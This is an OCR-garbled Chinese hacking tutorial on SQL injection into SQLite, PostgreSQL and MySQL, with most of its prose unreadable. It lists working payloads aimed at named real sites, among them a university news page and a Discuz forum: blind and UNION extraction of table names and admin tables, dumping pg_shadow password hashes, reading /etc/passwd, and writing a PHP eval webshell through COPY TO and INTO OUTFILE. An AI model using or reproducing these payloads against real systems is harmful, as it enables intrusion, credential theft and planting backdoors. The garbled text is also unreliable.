el e siecte] 234567 8501112131415, 1617,18,19,10.21.22.23,53425 + froms sqie_mariter
9

wLRES,
e Phome
5 PR, i B

@ e

BRER: 16 Android

WIITR 19 o

ERITE: 900100

ke 3

HUNT: S8

TeUeM

t anNdI0ID©
W 17 A

wrRR

CREATE TABLE wioe_soqueece(zameseg)

Kb b, sqlite 8 fimysql P inifigroup concattf, WA FAHG X PHARE. RULAEEAR SIPIRDTAMLUEI, FEAYA M I
JHE . RBARG REB RIS, Silic GroupHF i i & LU X T i IOXPEHIS thwebshe ITHRA, SMASIILT sqlitelflgroupconcat()
ERERICIR o FRBA PR K T U BRI A, iAo, group concatOAHEEAAGEN, IBSEMimiBRBIET ¥ . MEADYIARL I
limit x,y, fil4m:

http://www.casymobi.cn/product.php?id-0'union select*1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,10,21,22,23,5q1,25* from* sqlite

masterlimit+2,1-—

SRS T A Il B :
CREATE TABLE [ywlx news] ([id] INTEGER PRIMARY KEY NOT NULL, [title] TEXT NULL, [summaryl TEXT NULL, [typel
INTEGER NULL, [content] TEXT NULL, [time] VARCHAR(30) NULL )

IR BN SQLIG L. Einfyfl 248y B A RS 22 12

O Mg e 4mymGBLEIY prodct phg el Umone sabects1. 2345 67 A80AI2 1R I IS 1A, 110.30.31,22 2l 38 frcmm s e masters mde 3.1

PRER: 16
BANR: 19
AR 19900100
Rl 3
FNRREE: S~

J8,  hustatin n e
£ ;J'LJGAD:OD_.?;

wran

CREATE TABLE {ywtx_sewn] ( [uf) INTECER PRIMARY XEY NOT NULL, furde] TEXT NUALL. (rmman)
TEXT NULL (hpe] NTEGER NULL. (oonten] TEXT NULL, [5ee] VARCHAROD) NULL )

I F P select 7B from A LR H Y, A GR G52 M2 XA RS.

R P —




it AiED)

A XS L, Shikt. BIEREDAE T GoogleMARB, 1 Postgresq IEALPIER A NG, FibL, AR,

I PAMERGET, MRS AR . SQLEKFE, AIAMSSQLMYSQL,Oracle AL Accesssk # Rinformix,firebird,db2, flEfIFISQL I
ZHHRE AR A BIURK, BRRAN, MEAEEAYT? EROA L BFOAEA 2R A s ik 454 R ., fik
BeA S, ZEEE AL, X&AKH, TREESQL TIEIMABIHASRIA RLH N E Ml

(AR R TA R A X2 LA

W RA

PALE Ml £ 7 kb 4

Yk

PR i) A Bk

P& B ity

DAL TGRS, PR v 6 B R

it Xt
IREESE— A A R RSEPostgresqlif il B IN
—@aikA

select version();

union select 1,2,...n,version()

//versionEREK FiMySQLIFIAL —HF I
fol 5 B i -
I PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gee (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46) |
—REHRBT BRI

select aa from bb where ce=dd;

union select 1,2,....n,aa from bb where cc=dd

/AT IS QLA LT HBRE HEIR ORI Bl
—H

select datname from pg_database;

I union select 1,2,....,n,datname from pg_database;
Il % %< -

I posigres,pre,template,template
PRI itk B

select relname from pg_stat_user_tables limit 1 offset n;

//RBLTMyS QL iinformation_schema.tables, B4 AT

union select relname from pg_stat_user_tables limit 1 offset 3;

//limit 1 offset ORIMySQLFlimit 0,1— 42 R,
—PRBPIT BR

select column_name from information_schema.columns where table_name="xxx' limit 1 offset n;

union select 1,2,.....,n,column_name from information _schema.columns where table _name=0x3a limit 1 offset 5

//MMySQL

S N



RN RE, MBI G RLK I

select usename,passwd from pg_shadow;

union select 1,2,...n,usename,passwd from pg_shadow
//pg-shadow BlEH X BT MyS QL IFmysql B HiA

roo K F* Mpostgres, [l %fl:

| postgres 942¢76381d7c7e43310074a8f65cfd3a

It

create table test(code text);
copy test from '/ete /passwd'with delimiter E\t';

GE: MLEZEKT Postgresqlift i Blth NG 55, SChrdil, sxBloxMal S, Bk MG %)

ol 2 5 -

| Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: "root:x:0:0:root:/root:/bin/bash"

~HAXR

insert into test values (<?php eval($_POST["cmd"];?>);
copy test(code) to ™ /var/www/one.php” ;

ol 52 4 -

| Query failed: ERROR: could not open file "/var/www/html/aaa.php" for writing: Permission denied

pg-file_read) A MIMySQLH Flload fileONB 247 1, flem:

| select pg_file_read('pg_hba.conf',1,pg file_length(pg_hb.conf));

Y0 o] -

Query failed: ERROR: function pg_file_length("unknown") does not exist HINT: No function matches the given name and argument
types. You may need to add explicit type casts.

Postgresql ik A R A, FRBASRIRT
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Bl postgresqREABAIE, ARG 2 B HH M RA AR SR, AN 2 KHL ZJUN G Db R 17— I
A AHARANE XA 74 WARHAMMMILRS, i, &h7...

1k 7 PHOCHISER, JUSC IR AnI BP0 SOR A LA AR, SULER SRS HORIAR A 7
Lo SPWR 0 AN F EAE B4 TR Rk 1 5 A

EAR:

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and 1-1 IF %
http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and 1-2 Hiix

T H IR A
http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 aNd(6-6) 6-6 IF ¥l
http://www.u-tokyo.ac.jp/news/detail _e.html?id-13072 aNd(6-7) 6-7 ik
T B
http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 order by 15~ IF #
hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 order by 16— ik [
I nLE i anion select ARIBA, B2 024 1l 3
| http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database()) between 0 and 30
RULE BB KA & between 0 and 30200, ALIE AR o, 5 ERI1SREZ WA .

ium.

I http://www.u-tokyo.ac.jp/news/detail e.htmlI?id=13072 and (select length(current_database())) between 0 and 7
TR A0 I A0 7.2 ).
I i #:
I ’ http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 7 and 11 ]

BWAE7 and 11 Z ),
IE#:
I ‘ /news/detail_e.html?id=13072 and (select Ienglh(currcnl database())) between 8 and 8 I

RN EDE FIKIE S & PRIENDR A4 B #Lel 2.
I EMHANI

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 32768

http://www.u-tokyo.ac.jp/news/detail _ehtml?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 16384
I AR

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 64

I bttp://www.u~tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 64 and 96 I
I http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 117 and 117 l I
SR S0 T B 84T PWifascii L : 117, ADRIGE A
, http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),2,1))) between 0 and 32768 l I
I — 1 PAGRREIR B S HOR 7, BV wiokyodb.
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n PostgreSGLE;13Lf

ok, ik PRIIAIE ML &S, RIAKRAGHZ2AA, ARATILE:

htlp://www.u-tokyo.ac.jp/news/dc!ail;c.html?id=13072 and (select count(*) from pg,slat,user_tablcs) between 0 and 2000

http://www.u-tokyo.ac.jp/news/detail e html?id=13072 and (select count(*) from pg_stat_user_tables) between 20and 20

b, fefifi2oh&. & PRENRASA, &Rl 2:

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0)
between 0 and 128

RALAF AR AR PANMKIZLZS,

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0)
between 0 and 64

http://www.u-tokyo.ac.jp/news/detail _ehtml?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0)
between 19 and 19

KA RIS — A AIRKIER: 19, HEiHL PRAGAR T RINAGR 4:

hllp://www.u -lokyo.ac.jp/ncws/dclail_e.lltml?id=13072 and (select ascii(substr(relname,1,1)) from pg-stat_user_tables limit 1
OFFSET 0) between 0 and 32768
http://www.u-tokyo.ac.jp/news/detail e html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1
OFFSET 0) between 112 and 120

—HIE P ARARRER SHEMI & 7, M ER R (elect asciilubstr(relname, 1, D)3 — A VH2, SERBER — &I A7 R

W% 7. Wselect ascii(substr(relname,2,1)),
SERDR A AN ERA 4, L

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1
OFFSET 1) between 112 and 120

R DI ASE —AAIER AT AR SR 22

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg-stat_user_tables limit 1
OFFSET 0) between 112 and 120

i, EALRIE OFFSET 0 #%A OFFSET 1MIn], SRS 7 SRS RIFEIPAA: publish adming
& PREEADRA AT B2, FoRHE Pififl, £3589 514 R oadfoidfi™/,

hllp://www.u ‘tokyo.ac.jp/ncws/detail_c.html?id=13072 and (select ascii(substr(oid,1,1)) from pg-class where relname="publish _

admin' limit 1 OFFSET 0) between 0 and 32768

woniiiR, WIfEoid ML oid, T K R d 5 1k 011 castrf 00 A% S varchar K 1Y,

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(cast(oid+astvarchar(10)),1,1)) from pg_class where
relname="publish_admin’ limit 1 OFFSET 0) between 0 and 3276811

http://www.U*lokyo.ac.jp/ncws/dclailAe.blm]?id=]3072 and (select ascii(substr(column name,1,1)) from information_schema.

columns where table_name=$publish_admin$ limit 1 OFFSET 0) between 0 and 120

WRLIRIR, dPE,

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(column_name, 1,1)) from information_schema.

columns where table_name=0x7075626C6973685F61646D696F limit 1 OFFSET 0) between 0 and 120

(111798
R, WAPAT, RMATEPA, GEAVDRARMIABLE . Wk A5 0
fEZ R ACOM, SOt P ridanl 1.
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A TR T, SRR SER A G, PRBARKIT S P A WSCARARADMNN, Wiz& AN, &4 2 i
Ll it

hltp:/ /www.u -tokyo.ac.j p/ news/detail_e.html?id=13072+and (selectascii(substr(column_name,1,1))+ from+*information_schema.

columns*where ‘table_name= publish_admin ‘between+0+and+256

LA 25 2 2 i AR, SRS T ARG T2 2 2 AU TR & A6 AKIRRAL 2055

hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072+and (select ascii (substr(column_name, 1,1))*from*information_schema.
columns*where *table_name=chr(112)||chr(117)/[chr(98)/|chr(108)|lchr(105)|[chr (115)[[chr(104) [ chr(95) |chr (97) Ichr (100) |lchr(109)
lehr(105)[[chr(110) “limit+ 1+OFFSET+ 1) *between+0+and + 256

ihif..... d%, AHAHRK?

table_name= publish_admin

table_name-chr(112)| chr(117) ] chr(98) | chr(108)l|chr(105) | chr (115)|[chr(104) [chr(95) | chr (97) | chr(100) [chr (109) | chr (105) [chr (110)
Bl A, HOR T REERLT Beitifi R,

LHORBEA N LMY BN, JUSGAR DL )

http://www.u-tokyo.ac.jp/news/detail _ehtml?id=0+union*select:null,version(),1,version(),version(),version() ;null,version(),version(),
version(),null,null,version(),version(),column_name*from+information_schema.columns+where+table _name=chr(112)|[chr(117)

[chr(98)|lchr(108)|lchr(105)|lchr(115) [l chr(104)||che(95) [l chr(97)|/chr(100) || chr(109) | chr(105)||chr(110) + limit 1 + offset 0+ -+
AL A REINA A H i,

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072+and * (selectascii(substr(aid,1,1)) from *publish_admin+limit*1+OFFSET+0)
+hetween*0+and+236

A2 2 7 Hox... 3B, I

http://www.u-tokyo.ac.jp/news/detail _e.html?id=0+union*select*null,version(),1,version(),version(),version(),null,version(),version(),

version(),null,null,version(),version(),rank* from*publish_admin -

VIR P A fo ... R 7,

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072+and (select +ascii(substr(rank,1,1)) * from * publish_admin*limit* 1+OFFSET+0)
+betweent0+and+236
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| w) PostareSALTANESE

HAR A2 20 AR BHEHT A Rnlifs, ARSI RAGHIAOA PR ? IR R, SRAEBR LA o YRR A
R, AARNLGRERM, (I 20RBERA, (TAHAGMA M, WALmb, W L7 G 5k 55850
(he8

ASOLT (PostgreSQLIEAMT A ) 7, FIARIORSBE FEWRE, & R8A XL i i 50 7 Posigre
SQUEEA , v By Bl Wi,  GPCHoni 107 3R 7 Beilile, TERER . £fil—4— 1l
1. el U php RSB IEH: MPosigreSQL

A4 php'PoslgrcSQlJi R 7 Sk il i o — AL, &mﬁxx.php?i(hl UL S R §1 T FP2 FAP™
Hif:

f;'s:

Warning: pg_query() [function.pg*query]:
Query failed: ERROR: unterminated quoted string at or near """ LINE 1: select * from now where no = 111' ~ in /home/sites/web/

I school /detail.php on line 307

AR LA K F ol BLYIB SR I A PostgreSQL = 21F PostgreSQL MBAEL pg query( ;. KT function.pg query il pg. fifA 1
MySQLIFHIR WIS, 13861 RILIX A unterminated quoted string at or near AREMYSQLIFI? MySQLIF SR W HIE A X AA 1.

I 2. BRIy B i) 3 ) ) R

I i At EinfEEA Sorder by 201 BAA nowBE&RI 7 ERECAT 2, 53M1 order by 20000 MK, 328 A 0] g B4 & B fy

2000784, A2,

Warning:pg_query() [function.pg-queryl:
Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 307

VA ASR ol BAGA AR BASS Sk W00 8 7o iR BB ORI, B 23R ATHE BEMyS QLIRS 3R,
| xxphp?id-0+union select1,2,3,45,6.7,8,9,10,11,12,13,14
DA ) 2 L E99% B 2 i -

Warning pg_query() [function.pg-queryl:

Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on
line 307

WA Il AL 2 R 2 RN TR, union i Y BB ¢, SOREA W 7. X ARk :
Unionilil (B EOKIF): SELECT B0, A, FLBCY 87 M il SO 87 30 08 X B
Unionki (& REAIRD: SELECT Bo'f, By By Bs ey By B0y B0y B0 30 8038 B B
R R i 2 A%, SRATR MBI L 7 B 7 B ke SRS i i dimk 144 b, Wb A7 Bl il 7, $kA
R KA BB T B otk Bl fE, L2000 ?
I B, L2013 1R T BRAMORNULL, i
l xx.php?id=F WilFid® ‘¥ + and * 1- 1 runionselect null,null,null,null,null,null,null,null,null,null,null,null,null,null l

I DT AR k6 ORI R St ¢ o AR ERATTUA ABoal R e By, BRI A, SR PR I ok Sl 5 o R R O I

Pl b4, R R A R R RSl nall JF RS A, X SRR B
Union il (FFF I OKIF): SELECT B, SO, FUMLECY BT I il SO, BT 30 80 00 1 30 B

I UnionFi(@XHIEAIRD: SELECT ‘¥ ,NULLNULL,B‘¥ . 8‘7¥ NULL,NULL, 5 NULL, 5 NULL, 5 NULL, %

Sharl, BPRARN DRI, AR IO S o iR, Pt SO Won i it e, FECY WL RSB A, A

I RRA RGBT, ALk XA, pila':
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Unionll (BFFBOKIR): SELECT 07 SOM, FLUULICT 7 ML SOM T S 2, 20 I I
Unionki (@& fEAIR): SELECT B'7,'a . NULL,B 7, 57 NULL, a" J&,'a, J,'a . B, 'a . B

BRI ¢ 7O ? by T Sk

| xx.php?id-Oruniontselect+1,'s',mll,2,3,0ullB,2,'c,3,'d 4,'¢'6 | I

BHALAE | 2H s,

3. GPCBE T Monju) i I
PHPAIAINGER A SIS, F0 “AaN PR SRR php?id-3or 1" 1IN G PHP VR PREEAR . php?id-3. or\ TV 1

TR I

PSR e ? Fin i 7, R PR BN a ORBGR WA, GPCHon, BARL HRER M7 2 7 &, R T A
B AR T ? BRALRE. s, TS HUREABGTIN, ARG ST HLA DRI,

ik, EEREARHIRA 22 WnNg. 2RIV 2 %iE et 2 W2 S AL A HDR A 7 1Y, Mland 12— H, B I
R TR, Kb X, and 120 BAB 0k 1-3, 1-4, $ $°1-1000000000000000000000, i% FEHDRAIMImL, S8 X

I RIS s £ £OCE ? Bldiversion ORERT AA 2 M1 5, BEAR— B

xx.php?id=0+union*select+1,'a’,null,2,3,null,'v’,2,'¢',3,'d',4,'¢',6

xx.php?id=0+union *select* 1,version(),null,2,3,null,version(),2,version(),3,version(),4,version() ,6

FA A M ST ol — A5 515,
4. TF il R

PostgreSQLITER N AL #, WEEALSL, ARMBAEOAL R, AGEM/ K &%23K% 0. B2 M 2%2 WAEMYSQL,
MSSQL, SQLitei®fi PostgreSQLAFME@MIY -, WAk w2b%2b, — MBI, Berid, 28, i, Mittho2b%2bfin] fig
AN AT KTV O B TR ST DR T (L U] S U SN S
5. M

PostgreSQLIFFE M GK I CEBL T MySQLIAIroot, MSSQLIFIsa) &7 Mpostgres, WA CEBL T MySQLIMmysq B dlifs , MSSQL
FimasterBiIE) 217 M postgrese root Hlsafi B FA IR0 MITIH, PostgreSQLIA RS REA 1121 i Iel . sl vty
PostgreSQLI%H [ nologinffibash shell, FaiPRbbicl, nlBLZ b0 BLERIshell i,

WTBTR2%, RAME, RADHRIRE, HELALSAT: hup:/Awvww.u-tokyo.acjp . BAHFOREAARIAI T ——
(PostgreSQLTHHEIL) . BN PostgreSQLET 1o SUBRAVE A, ALLIRAE, Wfmii i,
TR
http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072+order+by* 15— 5 il i i
hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=-13072+order+by+16-— 5L H¥iiA
SRR ORLTBAIE T BB 15, WK union select1,2,3,4,5,6,7,89,0,11,12,13,14,15 - BAURWALRIRIA Stm, &WA SRR
THB, B2 AR W ?
http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and*1=1+union*select*1,2,3,4,5,6,7,8,9,0,11,12,13,14,15  SiiA 6 il
http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072and* 1-1+union*select* null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null-—  IEHi 6 i

P AR R PR SN KA BRI KT B T

hitp://www.u-tokyo.ac.jp/news/detail _¢.html?id=13072+and* 1=1+union+select+null,

null, Lnull,null,null,null,null,null,null,null,pull,null,null,null-—




m PostgreSQLE Ao

I Rl A AR T BALBCT R, SUIRERAAL, EREAL, L BTl A ol R R T, 2 SRR
B2 AT A KN ¢, BTl A nalDA a S 2 ORI i, AAE2WE2 BRMAL, gpo HON, S8Rk MVa\, Taikal
fti I AR AT 1 2 (

AL X 7, GPCHon, SEARM AT, MversionOfUF#E4T 7 l
http://www.u - tokyo.ac.jp/news/detail _e.html?id=0+union*select*null,version(),1,version(),version(),version(),null,version(),version(),
I version(),null,null,version(,version(),version(+ I
5 %2
| PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gee (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64 bit |
bR i, JUSCEATT s R HOR AW o 8k68 7o WHIREEIAA & WA W o R 22608 — —! I

http://www.u-tokyo.ac.jp/news/detail _e.html?id=0+union*select* null,null,null,null,null,null,null,null,null,null,null,null,nullnull,

I datname from+pg_database+limit+1+offset+ 0+ —+

PostgreSQLIFmit y offset xAAHIMySQLIMlimit x,y—H IR, limit 1 offset ORI — FBHA, limit 1offset TR~ B 5K XK Hi
W7, RS T, RESAE, SEARILIPosgreSQLIEA THDRYS 7, BARRALMAAE S, AUBZ, Rl I

AR T )
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B phpMyAdmin5webshell |||

IR A mysq U AEH IR1console i PR H— SIS N X, TR FhBA 1Rt P g s i Ak D

select 0x3¢31706870206576616¢28245(524551554553545b636d645d293b3f3e into outfile 'e://appserv//www//xoops//modules//
wordpress//app.php';

AN EELTL AN

| select code from text into outfile 'e://appserv//www//xoops//modules//wordpress//app.php';

i FA T windows— £ L iinix #F (0 St eed 368, I EROAGR /- 8BRS linux PR

Mg 3] A roo 5 T2 IIMySql, UphpMyAdmin, outfilef3, R Kikload file, 4 MR, HEk:
create table test (a text);

insert into test (a) values (load_file(c:\\boot.ini));

select * from test;

IR o




i AR ARSI

T IMySQLIEAIIMGL, nIRERD A ABPRR AR, ALLS KBS 7. TEARME, MySQL I,

select table_name from information_schema.tables where tabel schema=database ‘

ﬂmwﬂ,HKM&& PAVRH AN able], PN RSB UG, BTG SRIEE G 1 7, LA fikBRmRg
27 . REM, Flableoox & Al W& i

I Table 'down.[table]sessions’ doesn't exist l

VRRLRAOR TR A il
hk&m*ﬁ%*mmﬂ:

%2527union*select: 1+from* (select count(®),concat(floor(rand (0) *2),0x3a, (selectt table_name*from *information_schema.columns*
where *table_schema=-database() and rcolumn _name tlike* %2527%25pass%25%2527+limit +0,1),0x3a)a *from * information_schema.tables
group *by+a)b%2523 1.html

BT B pass I ABOPIRE A

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:15pm

Script: /core/entrance_web.php

SQL: SELECT * FROM [Table]stats_: search WHERE g =" union select 1 from (select co
like "%%pass%’ limit 0, 1) ema. tables group by a)b="

Error: Duplicate entry '1}[Table]backyard_s s|' for key ‘group_key'
Errno.: 1062

. 3 silic
¥ http://fag.comsenz.com K71 7

WWW.BLACKBAP.ORG

I LIRS A BARRR Table]backyard sessions, RAMIXPAL R KBGO, ADRMELRIRIR:

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:12pm
Script: /core/entrance_web.php

SqQL: w select 1 frc
Error] Table 'down.[table]backyfprd_sessions' doesn't exist

Err

F|_http://faq.comsenz.com {FZ TS EIEEL

Table 'down.[table]bac kyard_sessions’ doe sn'texistP BB IRAD RA (i, 1k TIRKIER, LB, &%, RRE, AR
Bl 27 P iaE SORPR S 72 TR — Bhex:

%2527union*selectt 1+from + (select + count(*),concat(floor(rand(0) *2),0x3a, (select * hex(table_name) + from*information _schema.tablest

where+table_schema=database()+limit+48,1),0x3a)a* from *information ,schema.tables*group+by+a)b%2523- 1.html
AR R HEX iz rl\TfﬁﬂJl

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:35pm
Script: /core/entrance_web.php

SQL: SELECT * FROM [Table]stats_search WHERE q = "union select 1 from

a from information_schema.tables gy
Error: Duplicate entry '1:785F736
Errno.: 1062

y a)b='
696FGE73 for key 'group_key'

F| http://fag.comsenz.com

WWW.BLACKBAP.ORG

AR At hex OIS unhex(, &R T HE5 T
WAL T 1T M frunhex, ZINETRNINEN R 785F73657373696F6E 734, MASCITRE"x sessions”, X5 SEMIIK 55 255 PP fex I [table] £
B/ Txo
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